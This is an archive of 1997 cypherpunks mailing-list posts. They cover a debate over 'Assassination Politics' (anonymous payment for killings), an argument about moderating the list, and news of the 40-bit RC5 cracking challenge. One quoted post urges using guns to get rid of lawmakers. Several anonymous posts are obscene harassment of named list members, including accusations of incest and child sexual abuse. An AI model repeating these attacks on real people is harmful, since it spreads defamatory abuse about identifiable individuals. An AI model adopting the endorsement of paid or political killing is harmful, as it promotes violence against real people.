> > house of, say, Toto. Toto knows that if he sues me, I can arrange him
> > murdered for the amount less than the amount of damages. As a result,
> > he refrains from suing me, or (if he is a mean person) pays additional
> > money to have me murdered. A suit would probably be a much better outcome.
> 
> Sometimes you have to pay a steep price for negligence, like neglecting
> to watch how close you get to the edge of the road on, say, Topanga
> Canyon or one of those (long way down).  Now, since people *know* to
> be extra careful on the canyon roads, don't you think by the same
> analogy they'd be extra careful with other things when AP is running?

Mmm, likely the result will be that Toto will be impoverished (it is an
example, do not take it personally) and will not only not be able to
murder me, but also will be too afraid to sue me (because I would
rather pay for a cheaper assassination than to pay damages).

> > Another story: suppose that OKSAS hired me to work for her, but then
> > our relationships go south and she fires me. Again, her fate is very
> > unclear, although I would probably spare her life if it were she.
> 
> If she does it right, with empathy, there is not likely to be a
> problem.  On the other hand, if she bad-mouths you to prospective
> employers or customers you want to do business with, you might be
> inclined to hit her.  This happens a lot when AP is not available.

... But would happen more often if it was.

> > The bottom line is, it becomes very hard to do ANYTHING that disappoints
> > at least somebody. That can lead to a lot of inefficiencies.
> 
> To get rid of everyone who pisses you off, you'd have to pay a lot
> more money than you'll ever have, therefore not a problem.  Those

Why, I will have a lot of money.

> people who have such money are not going to bump off very many more
> people than they already do, because:
> 
> 1. They need the people to make money off of (Mafia rule #4, never
>    kill someone who owes you money [or is a money source]).

This is a wrong Mafia rule, they do kill debtors who are in default.

> 2. Rich people have a lot of eyes on them, and it would be easy to
>    triangulate a series of murders to them, even without hard evidence.
>    In an AP world, this triangulation/correlation would be enough to
>    convince people to either shun this killer, or kill him outright.

When ten people make deals with each other, it becomes hard to
triangulate. And it is easy, if you know what deals are done, to change
the result of triangulation: suppose that I know that you borrowed 1
million from Toto, that my _and_ yours business partner had been
murdered (by me, but no one knows), and I am afraid that someone will
triangulate me and implicate me in that murder. I secretly order
the AP bot to kill Toto, and you get implicated.

Not good.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@zifi.genetics.utah.edu (Anonymous)
Date: Sun, 2 Feb 1997 20:27:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [STATS] Dr. Denning
Message-ID: <199702030427.VAA28260@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Deceased L"amentation" Vibrator likes to be the man in the
middle, getting it both up the ass and in his mouth.

      O      |'|
     /\      | | Dr.Deceased L"amentation" Vibrator
    /\ \-------|
   / / |-------|






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Sun, 2 Feb 1997 18:32:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: [ITAR] Key Security Question
Message-ID: <199702030232.SAA19017@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



Dr.Decoy L[esbian] Vagina K[ankersore]OTM uses an Adolf Hitler
action figure as a dildo.

      O      |'|
     /\      | | Dr.Decoy L[esbian] Vagina K[ankersore]OTM
    /\ \-------|
   / / |-------|






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Sun, 2 Feb 1997 18:32:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: [DSS] overview.htm
Message-ID: <199702030232.SAA19022@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



Dimitri Vehement K[arcinogen] Of The Month's wee-wee is so tiny
that only his mommy is allowed to touch it.

     /\ \  / /\
    //\\ .. //\\ Dimitri Vehement K[arcinogen] Of The Month
    //\((  ))/\\
    /  < `' >  \






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Sun, 2 Feb 1997 18:35:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [FWD] Making OCR'ed code transfer easier
Message-ID: <199702030235.SAA19253@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



Dopefiend Liar Villain Kondom Of The Moment will fuck anything
that moves, but he'd rather be fucking his own son's
prepubescent body.

       _  O     O  _
        \-|-\_/-|-/  Dopefiend Liar Villain Kondom Of The Moment
         /^\   /^\
        ^^ ^^ ^^ ^^






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Sun, 2 Feb 1997 22:11:37 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <v03007800af1ab0e7d67e@[207.167.93.63]>
Message-ID: <Pine.SUN.3.91.970202191742.17607B-100000@crl11.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

Where to begin?  Tim May has taken the time to write broad and
thought provoking essay on this list's current moderation 
experiment.  I appreciate his analysis--and candor.  While I do
not agree with all he has written, I enormously respect his
dedication to his point of view.  

On Sun, 2 Feb 1997, Timothy C. May wrote:

> I chose not to write a "departing flame" (or message, but some might call
> it a flame) when I unsubscribed several weeks ago--within an hour of
> reading that John and Sandy had decided to make "their" list a moderated
> list,...

This is Tim's first error of fact.  I point it out not to insult
him, but because it seriously affects much of the rest of his
analysis.  We are conducting an experiment.  It will last one 
month.  After that, it's over if list members want it to be over.
If, on the other hand, moderation is seen by the list members as
beneficial to their use and enjoyment of the list, the current
form of moderation--or some variation will continue.

> ...and saw no point in wasting even more of my time arguing against the New
> Cypherpunks World Order, as the NCWO was clearly presented as a fait
> accompli, not something ablut which opinions of list members (or even list
> _founders_, at least not me) were being sought.

Factual error #2.  There was a call for comment; Tim chose not to
do so.  In retrospect, I wish we had run it by Tim, Eric and 
Hugh in more detail before making the annoucement, but we didn't.
Certainly a tactical error and a breach of protocol, but not the
end of the world.  Sorry Tim.  I should have spoken to you first.

> I see vast amounts of bandwidth consumed by arguments about
> moderation, about the putative biases of the Moderator and Director of the
> New Cypherpunks World Order, about alternative moderation strategies (which
> is stupid, as John and Sandy announced what they were going to do, not just
> some of their preliminary thoughts), and so on. I've also noticed fewer
> substantive essays.

And I see something different.  Since previously, Tim actively
filter the list, I'm not sure on what basis he can make his
comparison.  As just one example (though a signicant one) Dimitri
has posted more non-flaming, on-topic posts during the two weeks
of this experiment then in the previous several months.  In my 
opinion, other than for the hysterical posts of a very few 
self-righteous loudmouths, the overall quality of the posts has
been far superior to what it had become in the weeks before the
experiment began.  YMMV.

> With no false modesty I tried awfully hard to compose substantive
> essays on crypto-political topics, often more than one per day.

I would hope that Tim will return to this practice irrespective
of whether the list remains moderated or returns to its previous
policies.  More on this, below.

> (Others did too, but they seem to be tapering off as well, leaving the list
> to be dominated by something called a "Toto," the "O.J. was framed!"
> ravings of Dale Thorn, the love letters between Vulis and someone name
> Nurdane Oksas,...

Two points:  Since Tim largely agrees with those in opposition to
moderation, and because of the extraordinary nature of Tim's post,
I did not send it to the "flames" list.  It was a judgment call.
 
The problems Tim describes, did not arise with moderation.  
Indeed, they were the imputus for the moderation.

> * But the really important issue is this: is the _physical hosting_ of the
> Cypherpunks mailing list coterminous with the "Cypherpunks"? If the list
> was hosted by, say, UC Berkeley or PGP Incorporated, would we consider
> these hosts to be the "owners" of the Cypherpunks group?...

I think this is a Straw Man.  John and I have never argued that
John "owns" cypherpunks.  When a Cypherpunk meeting is held in
someone's living room, however, I don't think it's asking to much
to ask everyone to follow the local rules (e.g., "no shoes in the
house" or "no smoking" or even "no ad hominem attacks").  As Tim
is fond of saying, "my house; my rules."  I don't think this 
means Tim "owns" a physical meeting in his house.

> While John had (and has) every legal right
> to do with his property as he wished, the effect was very negative. First,
> Vulis found other ways to post (duh).

Tim, do you really believe that John did not anticipate this?

> Second, the list was consumed with
> flames about this, many from Vulis, and many from others.

It was consumed with flames before.  Now, at least, the vast
majority of folks on the list don't have to read them, nor jump
through any hoops to implement some sort of dynamic filtering
half-measure.

> Third, journalists (who love sizzle over substance any day of
> the week) lept into the fray with articles which gave Vulis the
> publicity he craved.

That's what journalist do, though I wasn't aware of ANY articles
on this issue.  I would appreciate it if Tim could give us some
citations.  

> Fourth, it sent a message to enemies of liberty that "Even the 
> Cypherpunks have found it necessary to abandon their anarchic
> ways."

That's one message that one could take from all this, I suppose.
I don't see it that way, nor do several list members who thanked 
me in private e-mail for improving the list.  Again, YMMV.
 
> (I'm well aware of the issues with pests like Vulis, who seek to destroy
> virtual communities like ours. But the solution John used did not work, and
> generated more crap....

What didn't work was "local filtering" which has no feed-back 
loop to engender comity.  This might not work either, but I see
no evidence that it has made things worse.  Remember, there are a
hand-full of subscribers to the Flames list, 20-30 on the 
Unedited list and *2000* or so on the Moderated list.  Sure some
of that may be due to laziness, but it would be cavalier in the
extreme to claim that such an overwhelming acceptance of 
moderation is merely an artifact of inertia.

But to make things perfectly clear one more time, ANYONE WHO 
WANTS TO READ THE ENTIRE CYPHERPUNKS FEED SHOULD SUBSCRIBE TO 
"CYPHERPUNKS-UNEDITED" AND/OR "CYPHERPUNK-FLAMES."  

> * "Censorship" is another overloaded term. I don't think the "Definition 1"
> of dictionary definitions, about _governmental_ restrictions, is the only
> meaningful definition. Everybody knows what it meant when we say that
> "Lockheed is censoring the views of employees," even though we know
> Lockheed is not using government power. A censor is one who censors. And
> even my "American Heritage Dictionary" gives this as its "definition 1":
> 
> "censor n. 1. A person authorized to examine books, films, or other
> material and to remove or suppress morally, politically, or otherwise
> objectionable."

Tim and I disagree on which definition of "censorship" applies in
this situation.  Dale Thorne, and others, have argued, in essence,
that there is censorship if ANY definition would apply.  I'm not
sure time is going that far, but if so, I respectfully disagree.

But let's apply Tim's above definition for the sake of argument.
Am I, thereby, a censor?  Well I am examining "other material" 
and I am making judgments with regard to whether or not it is
"objectionable," unfortunately for Tim's argument, I am neither
"removing" nor "supressing" anything.  Anybody can read anything
that gets posted to Cypherpunks--in two places.  I am sorting,
but even my sorting can be completely avoided.

> * OK, even given that John had decided to censor "his" list, what about his
> choice of Sandy Sandfort as the censor?

John didn't choose me, I approached him.  I offered my opinion as
to what I thought HE ought to do about the list disruptions.  The
short version of his answer was, "if you think you can do a 
better job, go for it."  I accepted the challenge, so here I am.
I don't want this job.  If the list members decide to keep the 
list moderated, I hope to keep my involvement as a moderator to a
minimum.  Any volunteers?

> * Nor do the announced criteria make any sense. While the inane one-line
> scatological insults have been filtered out, many "flames" make it through,
> based on what I've seen in perusing the hks archive site. And some
> reasonable comments get dumped in the flame bucket.

Very possibly true.  Moderation is like crypto, perfection isn't
and option.  However, a 90% solution is a heck of a lot better 
than no solution at all.  Yes, I've made what I consider to be
errors, but I think on some, I've done a very good job overall.
 
> * (Frankly, one of my considerations in leaving was the feeling that I
> would never know if an essay I'd spent hours composing would be rejected by
> Sandy for whatever reasons....

Tim, I think this is disingenuous.  I have been quite clear on 
my moderation criteria.  You are too intelligent to feign such
a lack of understanding.

> maybe he might think my essay was off-topic,

Clearly not a criterion I ever enunciated.

> or used one of the Seven Deadly Words, 

Clearly not a criterion I ever enunciated.

>or was "too flamish."

Bingo (with the proviso that it be a personal attack on a list
member as opposed to the substance of his or her argument).

> * The decision to "moderate" (censor) the Cypherpunks list is powerful
> ammunition to give to our opponents,

Piffle.  Letting spoiled children destroy the list puts a far
more powerful weapon in the hands of our enemies.

> and Vulis is certainly gleeful that
> his fondest wishes have been realized.

I do not have a crystal ball.  My Vulcan mind meld is in the 
shop.  No one--neither Tim, nor I, nor probably even Vulis--knows 
whether is gleeful about all this or not.  An frankly, who cares?
The question is, are list members happy or not with moderation.
Tim was not.  I am.  By the end of the experiment, I dare say we
will have a good idea what most list members think. 

> (I would venture a guess that a Duncan Frissell would almost certainly get a
> libertarian rant past Sandy while a Phill Hallam-Baker might easily fail to
> get a leftist rant past him.)

I sorry Tim gives me so little credit.  Rather than merely post a 
self-serving denial, I would ask that Phill confirm or deny Tim's
supposition.  To the best of my recollection, I have sent only
one post of Phill's to the Flames list.  It flamed Jim Bell.  As
far as moderating political rants go, I'm agnostic.

Look folks, when you stop trying new things, and stop questioning
conventional wisdom, you are as good as dead.  Maybe moderation
is the best think since sliced bread; maybe it sucks.  How about
we give it a good-faith try for the next 2+ weeks and see how it 
goes?  If the consensus is it sucks, I intend to be gracious in
defeat.  If it goes the other way, I hope that the neighsayers 
will accept it and let the list get on with its role as a forum
for the protection of privacy.

Thanks again, Tim, for sharing your views with us.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Sun, 2 Feb 1997 22:14:40 -0800 (PST)
To: roy@scytale.com
Subject: Re: "Secret" Postal Device stolen
In-Reply-To: <970202.103614.3s2.rnr.w165w@sendai.scytale.com>
Message-ID: <Pine.SUN.3.91.970202215851.17607F-100000@crl11.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Sun, 2 Feb 1997, Roy M. Silvernail wrote:

> In Minneapolis and Anchorage (the two cities of which I have knowledge)
> mail carriers have a key that opens not only apartment-style mailboxes,
> but little boxes on the outside of apartment buildings that hold a key
> to the building's lobby.  Snag one of those keys and a large portion of
> the city opens its doors to you.  (some buildings have further locked
> doors beyond the mailbox lobby to counter this threat)

So much for key escrow.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sun, 2 Feb 1997 19:31:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: None[STEGO] Elliptic curves
Message-ID: <199702030331.WAA06501@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C[reep] May's 16Kb brain's single convolution is directly wired to 
his rectum for input and his T1 mouth for output. That's 16K bits, not 
bytes. Anal intercourse has caused extensive brain damage.

         \
        o/\_ Timmy C[reep] May
       <\__,\
        '\,  |







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Sun, 2 Feb 1997 22:47:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Gilmore's Moderated Cypherpunks List
In-Reply-To: <199702030325.TAA09985@toad.com>
Message-ID: <199702030647.WAA09811@netcom9.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Our Former Titular Leader Bails and Expounds Thusly Over the
Smoking Remains of the Once Mighty Cypherpunks List:

 > First, I don't argue that John Gilmore is unfree to do as
 > he wishes with his machine, toad, which has been the major
 > machine host for the Cypherpunks list. John can tell us we
 > have to write in Pig Latin if he wishes.

Freedom of the Press belongs to those who own one. Since there
are no legal restrictions on the name "Cypherpunks", anyone with
a working box can host a "Cypherpunks List", and individuals may
choose to spend their reputation capital improving the S/N ratio
of whatever Cypherpunks Lists they favor.  In this sense, a
"Cypherpunks List" is like a "Webster's Dictionary." Anyone can
use the name, and the deluxe leather bound edition put out by a
University is better than the tacky newsprint one offered as a
premium by your local book club.

Gilmore's Moderated Cypherpunks List is one of many forums where
Cypherpunks may choose to congregate, some of which carry the
name "Cypherpunks," and some of which do not.

 > I think we should all be very grateful to John for agreeing
 > to let it run on his hardware, but not let our gratitude
 > turn into some sort of subservience and blather about how
 > John "owns" the Cypherpunks group.

I think we should have nipped Gilmore in the bud when he censored
Vulis, and immediately looked for a new site to host a
Cypherpunks list which was not subject to sudden and arbitrary
censorship by the site owner.  John, of course, would have been
perfectly free to continue to host "Gilmore's Moderated
Cypherpunks List", and we would have perfectly free not to post
there any more.

Instead, being comfortable and lazy, we tolerated Gilmore's
pathetic attempts to exterminate the pesky Vulis, and given that
Vulis was more than a match for Gilmore mentally, the pissing
contest soon escalated as the frantic Gilmore took more and more
extreme measures to find "the final solution" to the good
Doctor's posts.

Again, predictable behavior by everyone involved.

 > Again, is the "Cyherpunks community" the same as the mailing
 > list? And is the mailing list, hosted at toad, the "property" of
 > John Gilmore?

Of course not.  What a silly notion.

All mailing lists that survive more than a few months are
organized around some strong personality who nudges the list back
on-topic when it begins to stray, and who posts articles
interesting enough that people will make regular visits to read
them.

If no one performs this function on a list, the list will die.

I think most people will agree with me that Timothy C. May has
been the person who performed this function here on Cypherpunks,
from its creation until fairly recently.  If he chooses not to
perform this function on "Gilmore's Moderated Cypherpunks List",
that is Mr. Gilmore's tough luck.  Perhaps if Mr. Gilmore asks
nicely, Dr. Vulis will volunteer.

Then again, perhaps not. :)

 > I'll have more to say about my problems with how things
 > were handled. Frankly, it smacked of the same kind of fait
 > accompli decision John made with the unsubscribing of Vulis.
 > While John had (and has) every legal right to do with his
 > property as he wished, the effect was very negative. First,
 > Vulis found other ways to post (duh). Second, the list was
 > consumed with flames about this, many from Vulis, and many
 > from others. Third, journalists (who love sizzle over
 > substance any day of the week) lept into the fray with
 > articles which gave Vulis the publicity he craved. Fourth,
 > it sent a message to enemies of liberty that "Even the
 > Cypherpunks have found it necessary to abandon their
 > anarchic ways."

I agree completely.  Do real Cypherpunks want to post to a list
run by someone who has undermined their agenda and made them look
like hypocritical idiots to the world?  Gilmore has done more
damage to the good name of Crypto Anarchy in the last few weeks
than the government spooks could ever have hoped for in their
wildest dreams.

 > But by making the _main list_ the censored one, this skewed
 > things considerably.

Yes, this was a sleezy and perfidious trick by Gilmore, who
apparently wanted to transform "Cypherpunks" into "Gilmore's
Moderated Cypherpunks List" by fiat.  Even the unedited list was
an afterthought to pacify critics, and you can be sure that it
will evaporate as soon as he thinks no ones complaints will be
heard.

 > Had there been a debate about the policy, I can think of
 > several approaches I'd like better. But inasmuch as John
 > made it clear that there would be no debate (and, perhaps as
 > part of the "problem," John has not really been a active
 > member of the mailing list, in terms of participating in the
 > debates), this is all moot.

 > In any case, my several years with the list have taken a
 > huge amount of my time. Given the way this whole thing was
 > handled, and the way the list is degenerating even further,
 > it looks like it's good that I'm moving on to other things.

Hey - if John Gilmore can attract readers to "Gilmore's Moderated
Cypherpunks List" by virtue of his charming personality, more
power to him.

Really. :)

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 2 Feb 1997 21:30:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: If guilty of a lesser crime, you can be sentenced for a greater
In-Reply-To: <Pine.SOL.3.93.970202203822.17818A-100000@asimov.montclair.edu>
Message-ID: <i87i2D17w165w@bwalk.dm.com>
MIME-Version: 1.0
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OKSAS <oksas@asimov.montclair.edu> writes:
>
> On Sun, 2 Feb 1997, Igor Chudov @ home wrote:
>
> > jim bell wrote:
> > >
> > > Better yet, set up a system to encourage the public to USE those guns (an
> > > other weapons) to get rid of the people who pass such laws, and the probl
> > > is solved.
> > >
> >
> > How about this scenario: I borrow 1 million dollars from, let's say,
> > Phill Hallam-Baker. Not wanting to pay it back, I pay to the
> > assassination bot and arrange him to be murdered.
> >
> > Another story: suppose that I negligently caused fire that destroys
> > house of, say, Toto. Toto knows that if he sues me, I can arrange him
> > murdered for the amount less than the amount of damages. As a result,
> > he refrains from suing me, or (if he is a mean person) pays additional
> > money to have me murdered. A suit would probably be a much better outcome.
> >
> > Another story: suppose that OKSAS hired me to work for her, but then
> > our relationships go south and she fires me. Again, her fate is very
> > unclear, although I would probably spare her life if it were she.
>
> 	Chudov , do you love me?

Oksas, do you really believe in long-distance romance over the Internet?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
Date: Sun, 2 Feb 1997 20:49:07 -0800 (PST)
To: Adam Shostack <adam@homeport.org>
Subject: Re: "Strong" crypto and export rule changes.
In-Reply-To: <199702020956.BAA16024@toad.com>
Message-ID: <v03007803af1ae3c495ac@[198.115.179.81]>
MIME-Version: 1.0
Content-Type: text/plain


	Ian popped the 40-bit RC5 (not RC4) challenge with 259 processors,
almost all standard Unix college-lab workstations, as I understand it.
(RC5 has a variable block size and a variable number of rounds; but the
unknown plaintexts for this contest were enciphered using a declared
12-round RC5 with a 32-bit word size.) The message Ian revealed was
something like: "That's why you need a longer key!!!!!"

	RSA posted rewards for anyone who can break a 56-bit DES challenge
and/or any of 12 variable-length RC5 challenge messages.  The 40-bit RC5
cipher was the least of these and was expected to fall quickly.  The
initial RSA announcement of the contest emphatically declared that even
56-bit-key crypto (DES or RC5) offers only "marginal protection" against a
committed adversary -- which is not to in any way minimize Ian's
accomplishment, or the efforts (some also successful!) of others who also
tackled the 40-bit challenge.

	SDTI/RSA celebrated Ian's achievement enthusiastically at the RSA
Security Conference in San Fran last week. Burt Kalisky, the Chief
Scientist at RSA, preempted a main session at the Conference to do an
on-stage telephone interview with Ian about his attack.  SDTI (RSA)
apparently hopes to use Ian's "timely" achievement to urge Congress to
challenge the idiotic 40-bit EAR ceiling and the key-escrow contracts
required to get a 56-bit export license.

	 (The network Ian used to link his lab workstations, NOW at
Berkeley, is definitely not standard, however.  I think there is a
description of it online; but briefly, NOW seems designed to very
efficiently handle this sort of intensive distributed processing project.
More important, perhaps, was the fact that Ian just chewed through the
possible keys with a pure brute-force attack on the key space.  His attack
was not really optimized for RC5, or designed to attack any specific
element in the RC5 crypto architecture.)

	Jim Bitzos of RSA also gave a thought-provoking thumbnail summary
of the IBM Key Recovery Alliance (making a better case for it in 30 seconds
than the long technical presentatations from IBM.)  As Bitzos explained it,
the variable key-size control allows a corporate user to communicate
through encrypted links to a variety of international recipients --
dynamically adjusting the encryption mechanism to whatever varied
restrictions are required by the French, German, US, UK, etc. , govenments.

	"It's an imperfect world," growled Bitzos -- but both users and
vendors need workable mechanisms today to allow them to adapt to whatever
contraints on strong encryption that are, or will be, required by the
various national authorities.  It's a mistake, he suggested, to think of
the IBM Key Recovery Initiative soley in terms of US controls.  Many
governments are reacting with hostility to the availability of strong
encryption -- and until the Market finds a voice and educates the political
and spook cultures, commercial entities will inevitably have to adapt their
work-a-day communications security to a wide variety of national crypto
controls and key-length restrictions.

	(What I got about the IBM presentations was the realization that
there is nothing in the key recovery mechanism, per se, that requires the
recovery key to be held by a third party.  That, to my mind, is the
essential distinction between key escrow and key recovery.  I also realized
that IBM has, for years, quietly held a crucial piece of the PKC scheme in
its patented "control vector" tech, which irrevocably binds a whole set of
context-specific rules and constraints to a decryption key.  I now realize
that the control vector technology was the foundation much of the the DoD's
Blacknet development. Important stuff -- check it out!)

	Like Big Jim said, it's an imperfect world -- and likely to become
more so, from the C'punk perspective, before it becomes better.  The rumor
mill among the 2,500 cryptographers, mostly developers, who attended the
RSA Conference was pumping overtime.  One of the saddest and most
persistent rumors was that the Clinton Administration would, within months,
introduce a Congressional bill to make unescrowed strong encryption illegal
in the US.  (Personally, I'd put bitter money on that one. <sigh>)

	David Aaron, US Crypto Ambassador and the US permanent rep to the
OECD -- in which role he has strove to convince the newly liberated nations
of Eastern Europe that built-in wiretap links are essential design
components for a modern democratic nation's communications infrastructure
-- was charming and gracious... but it was no surprise that he didn't budge
a bit from the "sovereign right to listen" policy line.

	You shouldn't have skipped the RSA bash, Adam, not even for your
DCS gig in the sunny Caribbean.  There were numerous Lion and the Lamb
drinking bouts thoughout the week (some rather amazing, in terms of both
the participants and the volume of "input".) You would have loved it.
Passions often ran high, but usually in quiet intense coversations. I (one
Lamb, white wool turning gray;-) had distinct impression that there many US
government cryptographers uncomfortable with the Administration's
NSA/FBI-inspired absolutist POV.  Not even all senior feds feel that
Constitutional Law should be (re)written by FBI case agents obsessed with
making it easier to bust some two-bit crack dealer next month.  (Doesn't
mean much in the larger scheme of things, but the pained ambivalence
vividly reminded me of Vietnam debates so many years ago.)

	My favorite quote, from a federal LEA lawyer deep in his cups: "If
the colonial cops, rather than the philosophers, had drafted the
Constitution -- would Madison and Jefferson, et al, have been willing to
even put their names to it??"

	Suerte,
		_Vin

-------- In Reply To:


>Steve Schear wrote:
>| >        What the US government will allow to be exported is not "strong
>| >encryption."  It is encryption only slightly too strong to be broken
>| >by an amateur effort.  For the right investment in custom hardware, it
>| >falls quickly.  (500,000 $US = 3.5 hour avg break).
>| >
>|
>| Considering Ian's feat you certainly seem to have had your crystal
>| ball in hand.

Adam Shostack responded:

>	I wear three around my neck.  Its a new age thing.
>
>	More seriously, that estimate is the cost of breaking DES on
>custom hardware, based on Wiener's figures.  Ian got RC4-40 in 3.5
>hours on I don't know how much hardware, not a lot of it custom,
>AFAIK.

         Vin McLellan + The Privacy Guild + <vin@shore.net>
      53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Howard W Campbell <woody@hi.net>
Date: Mon, 3 Feb 1997 01:12:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: moderation sucks
Message-ID: <32F5ABC9.6594@hi.net>
MIME-Version: 1.0
Content-Type: text/plain


 unsubscribe cypherpunks@toad.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@zifi.genetics.utah.edu (Anonymous)
Date: Sun, 2 Feb 1997 23:29:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: None
Message-ID: <199702030729.AAA00107@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


Dimitri Vinyl K{rust}OfTheMonth will fuck anything that moves,
but he'd rather be fucking his own mother's dead body.

 v-v-v-@@-v-v-v
      (..)     Dimitri Vinyl K{rust}OfTheMonth






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Mon, 3 Feb 1997 00:39:45 -0800 (PST)
To: Jim Choate <cypherpunks@toad.com
Subject: Re: Free & Open Society & toleration (fwd)
Message-ID: <199702030837.AAA08320@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:18 PM 2/1/97 -0600, Jim Choate wrote:
>
>Forwarded message:
>
>> Nobody has a problem with your ideals, it's just that Jim Bell is
>> trying to say (correct me and forgive me if I'm wrong) that:
>> 
>> 1. Society will never subscribe to your ideals.
>
>But other than two points they already do. The two points being,
>
>1. Libel is a recognized legal concept now, the difference is one of degree.

Maybe this will appear to you to be too-subtle a distinction, but I don't 
share the misimpression of equating what "society" (the citizenry?) accepts 
and what government-types accept.  For instance, as I understand it the 
public uniformly rejects the concept of wiretaps as a method of 
law-enforcement, yet they are done anyway.  In effect, it would be correct 
both to say:

a.   Society will never accept wiretapping.  (where "society" is defined as 
the collection of individuals)

   as well as saying...

b.   Wiretapping is a "recognized legal concept now."  (because the 
implication is that "recognized" refers to a tiny subset of society, the 
thugs who run the "justice system.")

Now, it's my own personal opinion that wiretapping is unconstitutional, but 
is done anyway for the same reason other unconstitutional things are 
regularly done by government:  Despite public disapproval, the public is 
never actually given the opportunity to make the decision.

The fact is, libel lawsuits are apparently a rather rare "tool" that we 
don't even need.  Perhaps a REAL LAWYER <tm> who is aware of the statistics 
can tell us how often they actually occur.  I argue that something that rare 
is, almost by definition, not really needed.   


>My solutions to these two issues are:
>
>1.  Removal of the lawyer from the ultimate choice of whether the case
>    should be pursued.

Yes, I'd like to "remove a few lawyers," as well.  Not quite the way you 
would, however.


>4.  By the implimentation of a bond proviso on the part of the plaintiff
>    the system provides a check and balance reducing nuisance cases as
>    well as reducing the taxation load on the citizenry.

Why not a full "loser pays" system?  And I mean NOT ONLY for civil cases, 
but also criminal cases!  Perhaps the government would be a bit less 
enthusiastic about harassing drug defendants if it was forced to pay for 
their acquittals after a FIJA loss!   

Consider, for example, that if the government had to pay after a loss, it 
would become very difficult for the government to harrass a person like Phil 
Zimmermann, unlike today where charges can be brought even if it is 
recognized they won't stick, secure in the knowledge that he'd be out a 
great deal of money in his defense.  How much sweeter would the victory be 
if all costs were compensated?  


> 
>> 2. Society is not static, i.e., instead of remaining at a constant
>>    level of corruption, the officials will keep demanding more,
>>    until there's a sudden, catastrophic break.
>
>Absolutely, that is one of the reasons I refuse to seperate those who
>represent the social contract (eg the Constitution) and those who are
>impacted by it, which includes even those who represent it and enforce its
>various responsibilities. AP relies on this distinction as axiomatic. 

Do you always produce such opaque commentary?  <Sigh>   Perhaps you could 
re-write the above statement in ordinary English.

The reality is, the guarantees supposedly provided by the US Constitution 
are guarantees in name only.  The system is thoroughly corrupted and biased.  



>This
>axiomatic view is ultimately based in a jealous greed for what others have
>(ie power, percieved or real) and the implicit belief that all people are
>NOT created equal.

It's hard to know how you come to this conclusion.  If anything, what I'm 
trying to do is to permanently destroy a system which has allowed a tiny 
fraction of society to control things for the rest of us for centuries, and 
longer.  If anything, it is the system I'm trying to destroy which has taken 
the position that, in reality, people are not equal.

On the other hand, I'm NOT a proponent for "egalitarianism," or enforced 
equality, at all!  I'm confident that once the system is dismantled that 
enforces inequality on us, we can live with the result.


>> 3. The AP solution has the potential to stabilize the level of
>>    corruption, which should make violent revolutions and genocide
>>    unnecessary.
>
>But it doesn't. What it does is provide a mechanism for de-stabalization.
>Just look at the Middle East and the history of assassination.
>Assassinations have never stabalized that region or any other.

